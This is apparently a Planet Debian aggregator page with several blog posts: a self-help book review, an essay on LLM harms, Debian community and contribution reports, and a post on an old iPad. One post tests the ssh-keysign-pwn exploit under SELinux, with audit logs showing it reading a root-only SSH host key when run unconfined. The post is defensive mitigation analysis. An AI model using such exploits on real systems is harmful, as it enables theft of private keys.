May 17, 2026

Russ Allbery

Review: Unwinding Anxiety

Review: Unwinding Anxiety, by Judson Brewer

Publisher: Avery
Copyright: 2021
ISBN: 0-593-33045-5
Format: Kindle
Pages: 268

Unwinding Anxiety is a non-fiction self-help book about how to reduce anxiety. The author is a board-certified psychiatrist specializing in addiction and substance abuse, who has subsequently done clinical and research (and commercial, more on that later) work in anxiety. His previous book, The Craving Mind, was a pop science treatment of addiction research. This book is more deliberately structured as a self-help guide.

(The cover will assure you that he has an M.D. and a Ph.D. I don't include honorifics and degrees in author listings as a small protest against the weird social rules about which degrees count and which don't.)

There are a lot of self-help books out there about anxiety. There are a lot fewer that say something relatively original. I think this is one of the latter, but I certainly have not done a survey of the subgenre, and it's possible the ideas here are only new to me. Brewer makes three basic claims in this book, all of which I found personally useful:

  1. Anxiety can be usefully analyzed as a habit. The rumination loop and other related anxiety behaviors such as excessive analysis, reassurance-seeking, and negative anticipation take the form of deeply ingrained habits triggered by stimuli.

  2. Raw willpower is not a useful way to break habits in general and anxiety habits in particular. In order to displace the habit, you have to retrain the part of your brain that runs habits on autopilot. Attempting to override it with willful effort is exhausting and likely to fail.

  3. Habit loops in general, and anxiety loops in particular, can be defused and replaced using mindfulness techniques.

This is not the way Brewer lays out the book. He goes to some effort to lead the reader slowly through three techniques for handling anxiety (for which he uses the metaphor of "gears," like for a bicycle or car) by introducing them one at a time and encouraging the reader to become thoroughly familiar with each one before moving on to the next. Since this is a book review, I'm going to give you the whole argument at once so that you know where this book is going. This may be less helpful in practice; if you're trying to use this technique on your own anxiety, you may want to read the book instead and not jump ahead.

Brewer's three gears are:

  1. Identify your habit loops and recognize when they're happening. (This part felt the most similar to traditional cognitive behavioral therapy to me.)

  2. Focus on how those habit loops make you feel. Rather than trying to force the habit loop to stop, let it happen but pay very close attention to the outcome and its effects on you.

  3. Find and focus on a different reaction that provides better rewards than the anxiety habit loop. Brewer suggests curiosity.

For me, the point where I thought "okay, you have my attention" is when Brewer described the way many people, particularly people without anxiety, tell people with anxiety to "just stop thinking about it" or "just do the thing you're anxious about anyway and you'll see it will be fine" and then described in detail why he believes that doesn't work. This is one of the few discussions of anxiety I've read where the author goes out of his way to stress that you cannot simply think your way out of anxiety and that repeatedly trying to do so and failing is exhausting and demoralizing.

Everyone is different and I know some people find cognitive behavioral therapy very helpful, but I find the constant effort to challenge cognitive distortions more draining and demoralizing than useful. His second gear, of not directly confronting the habit loop but instead watching its effect and thinking about its outcome, feels so much more approachable to me. Assuming, of course, it works.

Brewer's approach is essentially just mindfulness, although he mostly avoids the (to me at least) somewhat off-putting typical introduction to mindfulness via religious practice or general well-being and instead ties it to a theorized model of how habits work in the human brain. His contention is that habits, including anxiety, exist because at some point they provided a reward that was sufficiently compelling to make the habit-following part of your brain seek that reward. You were getting some benefit (a sense of control, a sense of being prepared, temporary reassurance, etc.) out of the anxiety reaction, which is why the anxiety habit formed in the first place. Once that habit is in place, it can continue without the reward. (Although in my experience there is probably still some short-term reward.)

Rather than trying to force yourself to stop following the habit, Brewer instead suggests letting the habit happen but then focusing (via mindfulness) on how following the habit makes you feel, whether it improves your sense of well-being or worsens it, and whether other actions produce different feelings. The goal, in other words, is to undermine the assumption of reward and to challenge any short-term reward with the long-term discomfort that made you want to stop being anxious.

This avoids using your conscious brain to exert direct willpower, which is exhausting and usually unsuccessful since the habit-following part of your brain is stronger (for various evolutionary psychology reasons he explains and that I found at least partly credible). Instead, you are using its strengths of observation and classification. You pay close attention to the ways in which the habit loop makes you feel bad, which in theory provides feedback to the habit-following part of your brain that can dislodge the habit. If the habit is recognized as no longer rewarding, it will weaken.

Brewer's background is in addiction treatment, so he is predisposed to see addiction in everything and one should probably be a bit cautious about his enthusiasm. He claims a great deal of success with this approach in clinical settings, mostly with addiction but also with anxiety, but this is always hard to verify. (Few doctors who write self-help books rigorously document their failures.) He apparently also has a company that produces various phone apps that assist with this technique. I'm rather cynical about anyone who talks about products their company has produced in self-help books of this type, and I'm also rather cynical about anyone who calls himself "Dr. Jud," but the book doesn't seem to be a sales pitch and there's no direct information in it about how to get the apps.

For me, the first two parts of the book were the most useful and the conception of anxiety reactions as habits made a surprising amount of intuitive sense. I thought the third part of the book, where he tries to describe a better in-the-moment reaction that you can try to build into a more beneficial habit, to be the weakest. It's mostly stock mindfulness advice that I've seen in other places, and you will be entirely unsurprised to learn that Brewer meditates and has studied meditation. I think it's clear that, for him, a feeling of curiosity works as an anxiety replacement; I'm not sure that's universal and I'm not sure it works for me.

That core idea that anxiety reactions are a type of addictive habit that have outlived their useful rewards but continue because habits are hard to change felt both useful and at least a little bit true, though. Your mileage may, of course, vary, but I've been trying out various ideas from this book since I first started reading it, and I think it's helping. If any of this clicks with you and you're also prone to anxiety, it might be worth a read.

One warning, though: Brewer's previous work on addiction includes binge eating, and while it's not a primary focus, he uses several weight loss and disordered eating examples and has a very traditional medical attitude towards weight. I'm somewhat dubious of the addiction model of weight gain in general, but more to the point, it's rather off-putting in a book supposedly about anxiety. It's something I was able to skim over, but be aware going in if you're likely to find this obnoxious.

I do think this book is a case of an addiction researcher seeing everything through the lens of addiction, and I'm a little dubious this is the right model for everyone's anxiety. But this is one of the good reasons why there are a lot of books about anxiety: Different approaches suit different people. This one made more sense to me than most; maybe you are similar.

I can't really recommend or not recommend a book like this, since I think so much will depend on whether you are one of the people for whom this specific explanation will click, but I'm glad that I read it and I think it's good to know that this model of anxiety exists.

Rating: 8 out of 10

17 May, 2026 02:52AM

May 15, 2026

Antoine Beaupré

The Four Horsemen of the LLM Apocalypse

I have been battling Large Language Models (LLM1) for the past couple of weeks and have struggled to think about what it means and how to deal with its fallout.

Because the fight has come from many fronts, I've come to articulate this in terms of the Four Horsemen of the Apocalypse.

Sound track: Metallica's The Four Horsemen, preferably downloaded from Napster around 2000, but now I guess you get it on YouTube.

War: bot armies

Let's start with War. We've been battling bot armies for control of our GitLab server for a while. Bots crawl virtually infinite endpoints on our Git repositories (as opposed to downloading an archive or shallow clone), including our fork of Firefox, Tor Browser, a massive repository.

At first, we've tried various methods: robots.txt, blocking user agents, and finally blocking entire networks. I wrote asncounter. It worked for a while.

But now, blocking entire networks doesn't work: they come back some other way, typically through shady proxy networks, which is kind of ironic considering we're essentially running the largest proxy network of the world.

Out of desperation, we've forced users to use cookies when visiting our site. We haven't deployed Anubis yet, as we worry that bots have broken Anubis anyways and that it does not really defend against a well-funded attacker, something which Pretix warned against in 2025 already.

(We have a whole discussion regarding those tools here.)

But even that, predictably, has failed. I suspect what we consider bots are now really agents. They run full web browsers, JavaScript included, so a feeble cookie is no match for the massive bot armies.

Side note on LLM "order of battle"

We often underestimate the size of that army. The cloud was huge even before LLMs, serving about two thirds of the web. Even larger swaths of clients like government and corporate databases have all moved to the cloud, in shared, but private infrastructure with massive spare capacity that is readily available to anyone who pays.

LLMs have made the problem worse by dramatically expanding the capacity of the "cloud". We now have data centers that defy imagination with millions of cores, petabytes of memory, exabytes of storage.

I thought that 25 gigabit residential internet in Switzerland could bring balance, but this is nothing compared to the scale of those data centers.

Those companies can launch thousands, if not millions of fully functional web browsers at our servers. Computing power or bandwidth are not a limitation for them, our primitive infrastructure is. No one but hyperscalers can deal with this kind of load, and I suspect that they are also struggling, as even Google is deploying extreme mechanisms in reCAPTCHA.

This is the largest attack on the internet since the Morris worm but while Robert Tappan Morris went to jail on a felony, LLM companies are celebrated as innovators and will soon be too big to fail.2

Which brings us to the second horsemen, famine.

Famine: shortages

All that computing power doesn't come out of thin air: it needs massive amounts of hardware, power, and cooling.

Earlier this year, I've heard from a colleague that their Dell supplier refused to even provide a quote before August. Dell!

In February, Western Digital's hard drive production for 2026 was already sold out. Hard drives essentially doubled in price within a year, and some have now tripled. A server quote we had in November has now quadrupled, going from 10 thousand to FORTY thousand dollars for a single server.

But regular folks are facing real-life shortages as well, as city-size data centers are being built at neck-breaking speed, stealing fresh water and energy from human beings to feed the war machine.

We've been scared of losing our jobs, but it seems that Apocalypse has yet to fully materialize. Regardless for engineers, the market feels tighter than it was a couple years ago, and everyone feels on edge that they will just have to learn to operate LLMs to keep their jobs.

Which brings us, of course, to Death.

Death: security and copyright

Our third horseman is one I did not expect a couple of months ago. Back at FOSDEM, curl's maintainer Daniel Stenberg famously complained about the poor quality of LLM-generated reports but then, a few months later, everyone is scrambling to deal with floods of good reports.

In the past two weeks, this culminated in a significant number of critical security issues across multiple projects. Chained together, remote code execution vulnerabilities in Nginx and Apache and two local privilege escalations in the Linux kernel (dirtyfrag and fragnesia) essentially gave anyone root access to any unpatched server to the web.

As I write this, another vulnerability dropped, which gives read access to any file to a local user, compromising TLS and SSH private keys.

All those vulnerabilities were released without any significant coordination while people scrambled to mitigate.

Many people including Linus Torvalds are now considering issues discovered through LLMs to be essentially public. This puts some debates about disclosure processes in perspective, to say the least.

But this is not merely the death of the traditional coordinated disclosure process, the C programming language, or the Linux kernel: remember that those bots are trained on a large corpus of copyrighted material. Facebook has trained their models on pirated books and Nvidia has done deals with Anna's Archive to secure access to large swaths of copyrighted material. The US Congress seems to think LLM outputs are not copyrightable, like any other machine outputs.

With many people now vibe coding their way out of learning or remembering how computers work, is this the Death of Copyright?

And that, of course, brings us to the final horseman: Pestilence.

Pestilence: slop

There is a growing meme that programming is essentially over as we know it. That you can simply vibe-code applications from scratch and it's pretty good.

Maybe that's true.

So far, most of my attempts at resolving any complex problem with a LLM have often failed with bizarre failures. Some worked surprisingly well. Maybe, of course, I am holding it wrong.

I personally don't believe LLMs will ever be good enough to produce and maintain software at scale. They're surprisingly good at finding security flaws right now. But what I see is also a lot of Bullshit, with a capital B. It's not lying: it does not "know" anything, so it can't lie. It's misleadingly cohesive and deliberate, but it lacks meaning, intent, will.

I have not been confronted with much slop, apart from the lobster Jesus or the yellow man atrocities, and particularly not in my work. But I see what it is doing to my profession: beyond vibe-coding, people are now token-maxxing, and land-grabbing their colleagues.

I don't like what LLMs do to our communities, or the fabric of software we live with.

Software does not evolve in a void. It is a team effort, be it free software or a corporate product. Generations of humans have carefully built the scaffolding of technology required for modern networks and software to operate, in a convoluted contraption that no single human fully understands anymore.

The idea of simply giving up on that understanding entirely and delegating it to an unproven model is not only chilling, it feels just plain stupid. Not stupid as in Skynet, stupid as in "I can't get inside the data center because the authentication system is down". Except we're in a "the power plant doesn't reboot" or "their LLM found an 0day in our slop" kind of stupid.

The fifth horsemen

Researching for this article, I looked up the four horsemen and found out they original seems to have been:

  • Famine
  • War
  • Death
  • Conquest (??)

I was surprised. I grew up thinking about the horsemen being Famine, War, Pestilence, and Death. So I went back to my original source which actually claims the horsemen are:

Time has taken its toll on you, the lines that crack your face.
Famine, your body, it has torn through, withered in every place.
Pestilence for what you've had to endure, and what you have put others through
Death, deliverance for you, for sure, now there's nothing you can do

So I guess that makes no sense either, which, fair enough, I shouldn't rely on Metallica for theological references. Especially since that song was originally called Mechanix and was "about having sex at a gas station".

Anyways.

The point is, there are actually five horsemen, and the fifth one is, in my opinion, Conquest.

Those companies (and not "AI", mind you) are taking over the world. I sense a strong connection with the "post-truth" world imposed on us by fascists like Trump and Putin. It's not an accident, it's a power grab part of the Californian Ideology3. Just like Airbnb broke housing, Uber destroyed the transportation and Amazon is taking over retail and server hosting, LLM companies are essentially trying to take over if not everything, at least Cognition as a whole.

But the capitalization of those companies (OpenAI and Nvidia in particular) are so far beyond reason that their inevitable collapse will likely lead to a global financial collapse of biblical proportions.

Because they will inevitably fail like previous bubbles they are built on. And when they fail, I hope it zips all the way back through the blockchain scam, the ad surveillance system, and the dot com then git me back my internet.

The Tower of Babel

While I'm off in the woods hallucinating (ha!) on biblical allegories, I feel there's another sign that the apocalypse is coming.

The Tower of Babel myth says that humans tried to create a big tower up to heaven and become god. God confounds their speech and scatters the human race. End of utopia.

This is what is happening to our human translators now. LLMs being, after all, Language Models, they are excellent at translation work. So much that the only translators not replaced by LLMs right now are interpreters, who translate vocally in real time. But interpreters are worried about their jobs as well.

This concretely means we will lose the human capacity, as a civilization, to translate between each other. It is still an open question whether the remaining revision work will be enough for translators to avoid deskilling, but other research has shown that LLM use leads to cognitive decline, impacts critical thinking, and generally, that deskilling is a common outcome.

Ultimately, I think this is where LLMs bring us. Towards collapse.

So this is a call to arms. Fight back!

Poison bots. Build local real-world communities.

Go low tech. Moore's law is dead, make use of it.

Patch your shit. Go weird.

Refuse slop. Train your brain.

The horsemen will collapse, but let's not go down with them.

Butlerian Jihad!

This article was written without the use of a large language model and should not be used to train one.

  1. I prefer "LLM" to Artificial Intelligence, as I don't consider models to have "Intelligence" which goes far beyond the analytical traits we train models for. Intelligence requires embodiment and social interaction; machines lack the innate human skills of empathy, feeling and care, which explains a lot of the evils behind the current trends.↩
  2. It should be noted that Morris also happened to be one of the founder of Y Combinator where he is in good company with other techno-fascists like Peter Thiel, Sam Altman, and so on. Crime, after all, pays.↩
  3. Probably a good time to watch All Watched Over by Machines of Loving Grace.↩

15 May, 2026 09:25PM

hackergotchi for Bits from Debian

Bits from Debian

New Debian Developers and Maintainers (March and April 2026)

The following contributors got their Debian Developer accounts in the last two months:

  • Filip Strömbäck (fstromback)
  • Arthur Diniz (arthurbd)
  • Manuel Traut (manut)
  • Xiyue Deng (manphiz)
  • kpcyrd (kpcyrd)

The following contributors were added as Debian Maintainers in the last two months:

  • Chris Talbot
  • Gabriel Filion
  • Mate Kukri

Congratulations!

15 May, 2026 02:00PM by Jean-Pierre Giraud

Russell Coker

Debian SE Linux and ssh-keysign-pwn

I just tested out the ssh-keysign-pwn exploit [1] on Debian kernel 6.12.74+deb13+1-amd64 which was released before these exploits.

When sshkeysign_pwn is run as user_t the following is logged in the audit log and it fails to exploit anything:

type=SYSCALL msg=audit(1778831599.951:22353257): arch=c000003e syscall=438 success=no exit=-1 a0=3 a1=c a2=0 a3=1b8020 items=0 ppid=5632 pid=6654 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=144 comm="sshkeysign_pwn" exe="/home/test/a/ssh-keysign-pwn/sshkeysign_pwn" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=pidfd_getfd AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test"
type=PROCTITLE msg=audit(1778831599.951:22353257): proctitle="./sshkeysign_pwn"
type=AVC msg=audit(1778831599.951:22353258): avc:  denied  { ptrace } for  pid=6654 comm="sshkeysign_pwn" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=process permissive=0

When it is run as unconfined_t the contents of the /etc/ssh/ssh_host_ecdsa_key file are correctly displayed on standard out in about 10ms, the file in question is only readable by root and a non-root user can use this exploit to read it.

It wouldn’t be uncommon to have a system configured to allow users to trace their own processes. The following policy addition grants access for the user to trace their own processes:

allow user_t self:process ptrace;

With that in place the sshkeysign_pwn exploit still doesn’t work and there are logs like the following:

type=AVC msg=audit(1778833455.726:57355191): avc:  denied  { read } for  pid=6941 comm="ssh-keysign" name="ssh_host_rsa_key" dev="vda" ino=15492 scontext=user_u:user_r:user_t:s0 tcontext=system_u:object_r:sshd_key_t:s0 tclass=file permissive=0
type=SYSCALL msg=audit(1778833455.726:57355191): arch=c000003e syscall=257 success=no exit=-13 a0=ffffffffffffff9c a1=55eadec43061 a2=0 a3=0 items=0 ppid=6933 pid=6941 auid=1000 uid=1000 gid=1000 euid=0 suid=0 fsuid=0 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=144 comm="ssh-keysign" exe="/usr/lib/openssh/ssh-keysign" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=openat AUID="test" UID="test" GID="test" EUID="root" SUID="root" FSUID="root" EGID="test" SGID="test" FSGID="test"

So if you could find some secret data in a file that’s only restricted by Unix permissions and user_t is granted ptrace access then a variant of that exploit could work.

When user_t is allowed ptrace access the chage_pwn exploit fails with the following log entries, so any binary that runs in a different domain can’t be used in that situation.

type=AVC msg=audit(1778833908.020:57434896): avc:  denied  { ptrace } for  pid=7037 comm="chage_pwn" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:passwd_t:s0 tclass=process permissive=0
type=SYSCALL msg=audit(1778833908.020:57434896): arch=c000003e syscall=438 success=no exit=-1 a0=3 a1=5 a2=0 a3=1b7e00000000 items=0 ppid=5632 pid=7037 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=144 comm="chage_pwn" exe="/home/test/a/ssh-keysign-pwn/chage_pwn" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=pidfd_getfd AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test"

Conclusion

In a “strict” configuration with users having the user_t domain a Debian system is not vulnerable to these exploits unless there is some configuration error or some unusual configuration choices. Users with the unconfined_t domain can successfully run the exploits.

Related posts:

  1. Copy Fail on Debian and SE Linux I have just learned of the Copy Fail kernel vulnerability...
  2. Dirty Frag on Debian and SE Linux Hot on the heels of the Copy Fail vulnerability [1]...
  3. Google Chrome and SE Linux [107108.433300] chrome[12262]: segfault at bbadbeef ip 0000000000fbea18 sp 00007fffcf348100 error...

15 May, 2026 08:48AM by etbe

Daniel Baumann

Debian: Linux Vulnerability Mitigation (ssh-keysign-pwn)

After the Linux local root privilege escalations of the last two weeks, the bug of today is ssh-keysign-pwn [CVE-2026-46333] which allows to read root-owned files as an unprivileged user.

Exploiting the vulnerability doesn’t require to load any specific modules like the bugs from the last weeks, this one needs to be fixed by rebooting the system into an updated kernel.

I’ve cherry-picked the upstream commit to fix it in trixie-fastforward-backports (linux 7 backports for trixie), confirmed that the exploits don’t work anymore, and submitted a merge request for sid.

Updates:

15 May, 2026 12:14AM

hackergotchi for Freexian Collaborators

Freexian Collaborators

Debian Contributions: Detecting undeclared file conflicts, contributors.debian.org mini-sprint, security-tracker performance and more! (by Anupa Ann Joseph)

Debian Contributions: 2026-04

Contributing to Debian is part of Freexian’s mission. This article covers the latest achievements of Freexian and their collaborators. All of this is made possible by organizations subscribing to our Long Term Support contracts and consulting services.

Undeclared file conflicts, by Helmut Grohne

The duplication checker, the Multi-Arch hinter, and the /usr-move analyzer share significant parts of their code. While the /usr-move transition is complete, the other tools needed a bit of love. Helmut added Python type annotations, slightly improved the performance of the duplication website and shared more code between these tools.

Building upon this Helmut looked into file conflicts of various kinds such as unrelated packages installing overlapping files, file type conflicts, mismatching directory metadata and shared files of Multi-Arch: same packages with varying content. Implementing reliable detection proved to be difficult due to the amount of corner cases. So Helmut semi-manually filed bugs. In that process, it became apparent that binNMUs do not reproduce SOURCE_DATE_EPOCH across architectures and therefore some shared files embedding the build date would vary in content. Additionally, a significant number of reports required further correspondence.

contributors.debian.org mini-sprint, by Enrico Zini

Enrico Zini met with Mattia Rizzolo to continue the work started at DebConf 25 on crediting contributions done via salsa, and to catch up with accumulated site issues.

Building on the same kind of infrastructure used to notify tag2upload, salsa.debian.org triggers a webping on pushes and merge request activity, which causes a small JSON payload to be queued in a private directory on contributors.debian.org.

We worked on processing, filtering and aggregating the files in the queue into a private, staging database table. When configuring a data source on the site, it is now possible to configure automated submission of contributions from information in the staging table. This makes it significantly simpler to credit contributors for all teams that use Salsa as their code repository and coordination tool, as the site can take care of the data mining for you.

See more details in the sprint report posted to debian-devel-announce.

MiniDebConf Campinas, by Lucas Kanashiro, Santiago Ruano Rincón and Antonio Terceiro

MiniDebConf Campinas was held between April 23rd and 25th, at the State University of Campinas, and was preceded by a MiniDebcamp between April 20th and 22nd. Freexian was Gold sponsor for the event, and Freexian collaborators were active contributors to the conference success.

Lucas and Santiago delivered a talk about Debian LTS during MiniDebConf Campinas 2026, where they described how the LTS project benefits Debian users and developers, while strengthening Debian itself.

Lucas and Antonio delivered a talk about internship programs in Debian during MiniDebConf Campinas 2026, with the goal of getting students interested in working in and with Debian.

Lucas took part in the MiniDebConf Campinas content team, reviewing/accepting talks and building the schedule.

Antonio led a session where he invited the audience to weigh in on current controversies in Debian. The session presented playful elements as colored signs to denote agree/disagree, and was not recorded, to help people feel more comfortable about speaking up. He might be convinced to lead a similar session at the next DebConf.

Antonio also organized a debate to discuss the consequences of new Brazilian regulation for the protection of children and adolescents in digital spaces for Debian and other free operating systems, but also for the free software community in general. This session was very fruitful and will lead into further actions, as one of the main outcomes was the realization that the free software community must follow the discussion leading up to similar regulations more closely to avoid being caught by surprise when they come into effect.

security-tracker performance, by Helmut Grohne and Emilio Pozuelo Monfort

Prompted by spontaneous influx of web requests on Freexian’s security-tracker back in February, we considered the options for managing that demand. One of our mitigations was making it faster. To that end, Helmut sent two MRs towards improving the situation. There are four notable improvements. The use of Python’s str.translate generally speeds up rendering of larger templates. Indexing the CVE names avoids a costly sequential table scan. Avoiding FFI calls while sorting and reducing the queryset speeds up the source package view. Emilio reviewed and deployed the changes on to the Debian instance. Together these changes provide a twofold speedup on both Freexian’s and Debian’s instance on average.

dput-ng data loss bug, by Colin Watson

Ian Jackson (not affiliated with Freexian) reported that dput-ng could lose data when using the local install method, which could cause misleading results in tests of other packages; they also filed an initial merge request to fix it. Colin improved this to isolate its tests properly, and uploaded it.

Miscellaneous contributions

  • Lucas coordinated the src:valkey update to version 9 in unstable with a potential co-maintainer.
  • Lucas provided a security update for src:valkey targeting “trixie”.
  • Thorsten did two uploads of foo2zjs, one to fix a bug and one to improve packaging. As there have been several CVEs published for cups he also did an upload of a new upstream version. Unfortunately this introduces a regression and another upload was needed to take care of a crash. The patch for one CVE also broke a test script, which is used by lots of printing packages in Debian. As a result some autopkgtest runs failed. This could be fixed as well and the only remaining issue that needs some more investigation is related to cups-pdf. It is also worth mentioning that some issues related to the apparmor configuration of cups could be resolved.
  • Helmut sent patches for 11 cross build failures.
  • Helmut sent a MR for enabling the new mainline YT6801 ethernet Linux driver and it is now working fine with Debian’s 7.x kernels.
  • Helmut upgraded a crossqa.debian.net autobuilder to “trixie”.
  • Carles using po-debconf-manager, improved Catalan translations: reviewed 2 packages, submitted 3 packages, deleted 5 packages.
  • Carles did further code developments for check-relations: steps towards making it production ready when the initial round of reports are analyzed. New “show-package” (information) command, improvements for “report_missing” cases, added support for ignoring packages for specific reasons, added unit tests, added CI. Used it to open 39 new bugs. Also followed up different open bugs
  • Raphaël completed the French translation of Zulip for the release of version 12.0. Zulip is a nice 100% free software threaded communication platform for distributed teams.
  • Stefano did routine uploads of python-pipx, python-mitogen, platformdirs, python-authlib, python-discovery, distro-info-data, python-virtualenv, python-certifi, python-wheel, pypy3.
  • Stefano uploaded distro-info-data updates to stable and oldstable proposed updates, with the latest Ubuntu release.
  • Stefano took part in DebConf 26 preparation meetings.
  • Stefano prepared DebConf’s online video streaming infrastructure for MiniDebConf Campinas, and configured the Debian reimbursement system to handle their travel bursary claims.
  • Stefano helped MiniDebConf Hamburg prepare their website for 2027.
  • Stefano did some sysadmin work on debian.social infrastructure.
  • Stefano reviewed Matthias’ python3.15 packaging and rebased his work on top of it.
  • Antonio implemented several improvements to the Debian CI platform, including but not limited to adding support for dark mode, dropping compatibility with ActiveRecord < 7 which is no longer shipped in Debian stable, and generating content-based links to static assets, in two parts.
  • Antonio debugged a general slowness in salsa, caused by loss of IPv6 connectivity between the salsa host and the remote object storage in “the cloud”, which is a problem due to an open upstream bug in gitlab.
  • Santiago reviewed different changes to the Salsa CI pipeline, including the new uscan test job, prepared by Thaís Rebouças Araujo, and the final review to introduce faketime testing, made by Áquila Macedo.
  • Santiago continued helping the DebConf 26 local team to prepare the conference.
  • Emilio updated libxpm to address a security issue.
  • Colin finished upgrading groff to 1.24.1; 1.24.0 and 1.24.1 were the first upstream releases since 2023 and had extensive changes, so this took some time to get right.
  • Colin released “bookworm” and “trixie” fixes for CVE-2026-3497 in openssh, and issued the corresponding BSA-130 for trixie-backports.
  • Colin upgraded openssh to 10.3p1.
  • Anupa worked on the accounting tasks for MiniDebConf Kanpur and prepared and submitted a report to the fiscal host.

15 May, 2026 12:00AM by Anupa Ann Joseph

May 13, 2026

hackergotchi for Jonathan Dowland

Jonathan Dowland

iPad Mini (2013)

In or around 2014 I bought an iPad Mini (2), and following the normal lifecycle of iOS devices, a major OS update eventually killed it as a useful, general-purpose device: operating it was just too sluggish. It remained useful as a streaming media player for a little while longer until eventually the big streamers (BBC iPlayer, Netflix, etc.) stopped supporting the version of their app which the iPad could install: the last officially supported iOS was 12.4.8 in July 2020, and by November it was officially dead.

Old 32bit games

Old 32bit games

During its useful life, the iPad Mini witnessed Apple's transition from 32 to 64 bit apps. In the 32 bit days, there was a little cottage industry of app developers, and in particular, game developers. There were even several independent websites (App Shopper, Pod Gamer, Free-App Hero), which aided in sorting through the morass of apps to find the good ones (then as now, the App Store itself was almost impossible to effectively browse). This all went away during the 32/64 transition, as many small-scale developers weren't actively developing their applications or games any more, and weren't prepared to pay the time or apple tax to rebuild and publish them as 64 bit.

The last version of iOS that supported 32 bit apps on this device was 10.3.3, and by luck, there are some methods available to install this old version of iOS on the Mini 2 Today. A couple of years ago I did so, and I kept no notes so sadly I can't report on which method I used. But it worked, and I was able to install a bunch of old 32 bit games that I had no access to on more modern devices.

Prior to John Carmack's1 departure from iD Software, he'd been responsible for publishing several experimental iD software games on iOS. These mostly disappeared in the 64 bit transition. Amongst them are ports of Wolfenstein 3D, classic Doom, some RAGE tie-ins, but perhaps most interestingly. at least two original games, designed for the phone form factor: Doom 2 RPG and Wolfenstein RPG.

Reading magazine-style things

Reading magazine-style things

Another notable game that disappeared was "Civilisation Revolution", a cut-down Civ game that for a while I was obsessed with. Rather than port it to 64 bit, the publisher withdrew it, and then published a "new" game "Civilisation Revolution 2", requiring a separate purchase. Sadly, it is rubbish, nowhere near as good as the first one.

Anyway, having managed to downgrade it to the 32 bit iOS and install these old lost games, I then, of course, never played them and the device continued to gather dust. I should make clear that, running such an old unpatched iOS version means it's not safe at all to put any kind of sensitive information on this, including entering passwords. I don't recommend even opening the web browser. However, this 12 year old device does have some use as an e-reader, especially for certain types of ebook or magazine, that I've struggled to engage with on other devices. That's a topic for another blog post.

  1. Carmack reportedly also had a pivotal role in convincing Steve Jobs to permit native apps and provide an App Store on iOS: the plan had been to solely support web apps, at least for 3rd parties.↩

13 May, 2026 02:45PM

Sergio Cipriano

My experience at MiniDebConf Campinas 2026

My experience at MiniDebConf Campinas 2026

Last week, I spent the entire week in Campinas attending MiniDebConf and MiniDebCamp. The Debian Brazil community organizes this event every year, and this year's edition was the biggest so far.

During MiniDebCamp, I sponsored a few uploads and spent two days teaching packaging to two participants. I usually teach packaging online, so it was refreshing to do it in person. I believe the experience was much better than teaching online.

One of my mentees introduced me to the DDTSS (Debian Distributed Translation Server Satellite). Even though there are many i18n contributors in Brazil, this was my first time learning about this system. I plan to contribute to translations over the next few weeks using DDTSS.

My Activities

NOTE: I translated every talk title; the original titles are in PT-BR, so some details may have been lost in translation.

I presented three talks and led one BoF session. The talks are all available on Debian's Peertube:

You can also find my slides at people.d.o.

My first talk was a showcase of dh-make-vim, a tool I created and have been using for a few months. Some people tested it and found bugs, which was really nice to see.

My second talk was essentially a live version of my blog post Zero-Code Instrumentation of an Envoy TCP Proxy using eBPF.

I also gave a lightning talk about something many people are not aware of: non-uploading DDs can also sponsor uploads.

If you're interested, this bug report provides more context: tracker.debian.org: Signed by field is missing when sponsoring as DD non-uploading

Finally, I led the BoF session "Experiences, lessons learned, and next steps from the mentoring sessions". This was my favorite session, we had many participants with different perspectives and ideas, which led to a very engaging discussion. I'm still working on the action plans and I plan to release them soon.

Here are some photos of these activities:

Mentorship BoF

Mentorship BoF

DD non-uploading can upload talk

dh-make-vim showcase

Zero-Code Instrumentation showcase

My favorite activities

This is a list, in no particular order, of some of the sessions I enjoyed the most:

  • Salsa CI, showing features that almost nobody knows

    I wrote a blog post about one of the things I learned in this talk, and there is still a lot more to explore. Aquila Macedo is developing many cool features in Salsa CI.

  • Free Software: Freedom, Autonomy, Sovereignty

    I had been really looking forward to this one. Alexandre Oliva is a very important figure in the Free Software movement, especially in South America. I'll need to rewatch it, my futures talks about Free Software will likely be inspired by this one.

  • What I've lived/seen in 33 Years of Debian & Free Software in general

    Eduardo Maçan was the first Debian Developer in Brazil, so it's always valuable to hear the story from someone who was part of it.

  • Symbolism - an introduction

    Despite the title, this talk was not about astrology! I'll probably rewatch it as well, as there is a lot of information to take in. I really like the passion Sérgio Durigan has for C. He is also a great speaker and knows how to guide the audience through the topic.

  • Debate: Contemporary controversies in Debian

    The debate itself was great, but the conversations we had afterward were even better. I changed some of my opinions after hearing different perspectives. I don't think this format would work at DebConf, but I would definitely like to attend another one like this.

  • Why LTS on Debian?

    I had a few questions about LTS, and Kanashiro and Santiago answered them both during the talk and in the Q&A session. They also shared some challenges and how to avoid them, it was a great learning experience.

  • From my first contribution to the Debian Maintainer

    Polkorny was a bit shy but did a great job! I really enjoy this kind of talk. It is always nice to see the different paths people take.

Unfortunatly, I couldn't attend everything I was interested in, as always.

DayTrip - The Brazilian Particle Accelerator

Sirius is the largest and most complex scientific infrastructure ever built in Brazil and one of the most advanced synchrotron light sources in the world. My jaw dropped the entire time; it's hard to describe how incredible this is.

My favorite detail: they're running Debian :)

Wrap up

I believe this was the best MiniDebConf Brazil so far. There were many other things I chose not to include here, as this post is already quite long. Still, here are a few more highlights:

  • A Bug Squashing Party
  • Driving Samuel Henrique's drones
  • Lots of capybaras
  • A small birthday party
  • A visit to two data centers

13 May, 2026 01:05PM

May 11, 2026

hackergotchi for Colin Watson

Colin Watson

Free software activity in April 2026

My Debian contributions this month were all sponsored by Freexian.

You can also support my work directly via Liberapay or GitHub Sponsors.

dput-ng

